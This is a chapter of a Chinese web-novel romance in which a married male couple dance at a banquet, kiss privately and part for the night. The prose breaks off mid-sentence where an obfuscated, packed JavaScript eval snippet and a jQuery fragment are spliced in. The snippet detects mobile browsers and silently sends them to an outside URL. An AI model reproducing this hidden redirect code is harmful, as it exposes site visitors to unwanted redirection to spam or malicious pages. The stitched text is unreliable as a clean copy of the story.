岑雪融说的是跳舞,哪知晚宴正式开始后,主办方的人前来盛情邀请他们夫夫跳开场。
隐身在人群中跳舞和在全场瞩目下跳开场,可是完全两码事。
恢弘古典的宴会大厅,四周围灯光暗下来,只剩下中央颇有情调的霓虹灯彩,现场的交响乐坛演奏出轻快优雅的舞曲曲调。
容恪远踏出一步,看向垂眸羞涩的男孩子,抬起手掌:“Ethan?”
岑雪融将手搭上去,脸稍稍低垂试图往他挺括的肩膀处藏一藏,欲盖弥彰地低声询问:“应该没有在看我们吧?”
容恪远揽在他后腰的手掌轻轻一按,将人往怀里更压了几分,“别害羞。”
“谁害羞了~”岑雪融嘴硬地抬起脸,被他的舞步带动转动半圈,正好看到无数目光投向他们。
连同灯光,都宛若追寻双人的身影一般萦绕,勾勒出修长身姿与亲密姿态。
被远处的一道手机闪光灯灼了下眼睛,岑雪融忍不住垂首,孩子气地咕哝:“早知道刚才以酒代水,多喝两瓶。”
容恪远握紧他的手掌,往上托了托:“Ethan,看着我。”
岑雪融被他的嗓音诱惑快速抬眸对视,从上照下的暖色灯光模糊了男人锐利的棱角线条,奇妙地放大他眼眸中的温柔。
顷刻间周围的人仿佛消失了,只剩下他们两人踏着舞曲的节拍,尽情地共舞。
双方的眸光同样灼热,岑雪融的心脏砰砰跳动,唇瓣轻轻地抿了几下,身体也不觉间主动靠得更紧密。
容恪远狭长的眼帘里满是灼烫,不加掩饰的爱意,暗涌着只有岑雪融能看懂的欲色。
他是天生上位者的冷脸,表情寥寥,像是一座行动的冰山,此刻毫无顾忌地散发着冰山之下的男性荷尔蒙。
岑雪融的脚步,乱了一下。
幸好绅士如容恪远轻易地托着他的腰带了一下,除了他们自己,旁人无从发觉。
晚宴舞会正式开场,周围的人也不断加入舞池。
岑雪融的掌心微热,压抑着轻喘。
两人目光如胶似漆,容恪远当然知道他为何如此反应,冠冕堂皇地低声问:“累了?”
岑雪融轻“嗯”了一声。
容恪远瞥了眼贵宾室的方向,用几个漂亮的旋转带着他跳出了舞池,最终拉着他的手没入昏暗的灯光里。
岑雪融当然知道即将迎来什么,紧张兴奋地不敢直视,竟有几分初尝恋爱的青涩。
贵宾室里灯光大亮,容恪远入门关门关光,揽着怀里的人藏身于满是月色的露台。
在长长的落地窗帘之后,他们拥着彼此。
岑雪融仰头欲要亲吻他时,却被他用高挺的鼻梁抵住了鼻尖。
气息潮热,鼻息交融,两人的唇瓣几乎挨着。
容恪远嗓音低哑地问:“Ethan,准备改称呼了?”
岑雪融发昏地想,他今晚叫自己的英文名竟如此深情,简直是令人难以抗拒。他深深地嗅着颈间极具攻击性的成年男性荷尔蒙,深入肺腑间的浓烈气息化作催情的药物般,令他失去理智,只想立刻得到满足,他红着脸微微地仰起脸,唇已经堪堪碰到他的唇,喃喃地唤道:“老公……”
话音未落,四唇相触,烫得彼此心尖轻颤。
两个人都想生出无数双手才足以将对方抱得足够紧密。
岑雪融双臂缠绕在他的颈后,长腿被他托起架在他的腰侧,膝盖用力并拢,仿佛要成为彼此身体的一部分。
这个吻热烈痴迷,在你来我往间,酣畅淋漓地以唇舌挞伐对方。
最后,以岑雪融濒临窒息而告终,容恪远微微撤开,布满请欲的眼眸盯着他的视线,等他呼吸过两次后再次吻上去。
暗蓝的天空纷纷扬扬地洒落细微的小雪点,月光下的两人浑然忘我。
容恪远的手机震动时,岑雪融才猛的清醒推开他,见他似乎不想接,便催他快接。
连绵的雪花进入眼帘,岑雪融转身,惊诧:“下雪了!”
他朝着栏杆外伸手,却被拽了下,撞进身后的胸膛里。
容恪远一边接通薛助理的电话,一边揽着他往屋内去,见他眼神哀怨地怪自己不给他看初雪,才低声说了一句:“露台太冷。”
本来在汇报情况的薛助理,霎时住嘴。
岑雪融只得乖乖坐进沙发里,容恪远对手机说了两句后挂断,捏着他的下巴,眼神晦涩:“还继续?”
岑雪融躲了一下:“不了。”他兔子似的跳起来去开灯,微笑,“薛助理找你有事吧?要不你先去处理?别让薛助理为难。”
今晚很多人排队等着见容恪远,他又不是不知道。
容恪远见他往外避,直接把人捞到腿上:“什么时候跟薛助理关系这么好?”
岑雪融:“……”
他刚才吻得急促,抹上去的碎发落下来,遮在眉梢,模样却显得越加矜贵漂亮。
容恪远低首,在他额角吻了吻。
两人的眼神暧昧地描摹对方,岑雪融嘟唇去吻他,却见他居然抬高了脸避开。“嗯?”
容恪远眼里中有几分促狭笑意,指尖扫过他的唇瓣,轻轻地挑眉示意。
岑雪融抿住唇:“以后要亲亲都要先那样……那样叫你吗?”
容恪远不做声,只以放肆撩拨的眼神回答他。
岑雪融气得屈膝顶在他的手臂上:“过分!”气得轻哼扭头。
容恪远托着他的脸转过来,起了情绪的面庞比平时更生动勾人,低声问:“那你就叫这一次?”
岑雪融表达自己的态度:“哼!”
容恪远吻了下他的唇角,温柔轻吻:“那你下次什么时候给我机会吻你?”
岑雪融反正刚才已经得到满足,嘴硬到底:“没有下次!坚决没有!”
容恪远亲吻他的耳垂,告诉他临时有事要处理,先送他回家。
岑雪融深明大义自不会扮演阻挠另一半搞事业的角色:“让司机送我回去就好了,你不放心地话,多加两个保镖?而且老爷子也不会把我怎么样吧?”
他不信容老爷子再生气,能豁出去跟他拼命不成?
容恪远抚着他额角的碎发到后边:“我顺便取一个文件。”
“哦!”这下岑雪融没有再多说。
两人起身后,互相整理衣服,都看着对方眼眸含笑。
如容恪远所说,他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027226|190197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先行离开活动现场回家。
到他取了文件下楼,脱了外套披着毛毯的岑雪融一路送他到玄关,最后捏着他的西装袖子。
“嗯?”容恪远见他恋恋不舍地送自己。
“就一句话,很快说完。”岑雪融额头抵在他肩膀,“过几天,我想去南方处理两位长辈合葬的事情,你有没有时间?”
容恪远终于等到他开口,心头非常淡的阴云散去,在他耳边道:“我有很多的时间陪你做任何事,只要你开口提。”
岑雪融心中动容,抬起脸在颈侧亲了一下,低声道:“早点回家。”
容恪远感受了几分钟软香在怀,才遗憾地转身出门。
若非今晚是要去见老爷子,他肯定是要留在家中。
一个小时后。
岑雪融洗过澡,擦着头发从浴室踏出来,手机上是好几个未接来电。
来自李江熠。
点开微信,也有好几条未读消息。
李江熠:【你倒是厉害,搞定了容家大少爷,陪他去参加公开活动上八卦新闻】
【我跟爸还要为你的行为付出代价!天天地接受调查】
岑雪融一头雾水。
他并不关心李同恺与李江熠,但未免涉及容恪远,便回复。【什么调查?】
手机上显示一则来电,李江熠。
岑雪融坐好后,点击接通:“喂?”
李江熠声音中压不住的怒意:“你还问?不是容家导致我们家分公司出问题?两三天时间还丢了好几个项目!”
岑雪融听到是李家公司出问题,语气格外平静:“原来如此,知道了。”
李江熠:“你如果有良心——”
岑雪融大概了解情况后,立刻拿远手机,一边按断一边嘟囔:
李同恺的基因里不包含“良心”这种东西。
他点开容恪远的微信,【什么时候回家?】还以为他在谈要紧事,回复得不会那么快,哪知立刻有了新回复。
R:【会很晚,你先休息。】
岑雪融趴在床上,鼓起脸,想怎么回复。
屏幕再次跳出新消息。
R:【去我床上睡。】
毫不相关的话题,但轻易让岑雪融翘起嘴角轻笑。
他在床上翻身,嘀嘀咕咕,“床都一样舒服,干吗要去你的?你的床上藏了金子吗?可我又不爱钱。”
几分钟后,他已经握住手机跳下床急急忙忙穿拖鞋,冲出房门,又临时急刹车折回来拿眼罩。
视线扫过床头柜。
下方一层装满了亲密用品。
等容恪远回家,他应该已经睡着了?好像也不需要。
可万一明天早晨需要呢?
岑雪融忍住羞耻感,拽开抽屉索性取走一盒新的。
他下楼的姿势几乎像是《猫和老鼠》里踮脚走路的小Jerry,悄么么地推开容恪远的卧房门,呲溜一下钻进去。
最后,岑雪融张开双手扑上容恪远的床,他在刺眼迷离的灯光下回味刚才恨不得吞下彼此的热吻。
他的指尖摩挲唇瓣,想起容恪远今晚提过一句的鱼骨胸衣,忍不住埋脸在他枕头上闷声轻笑。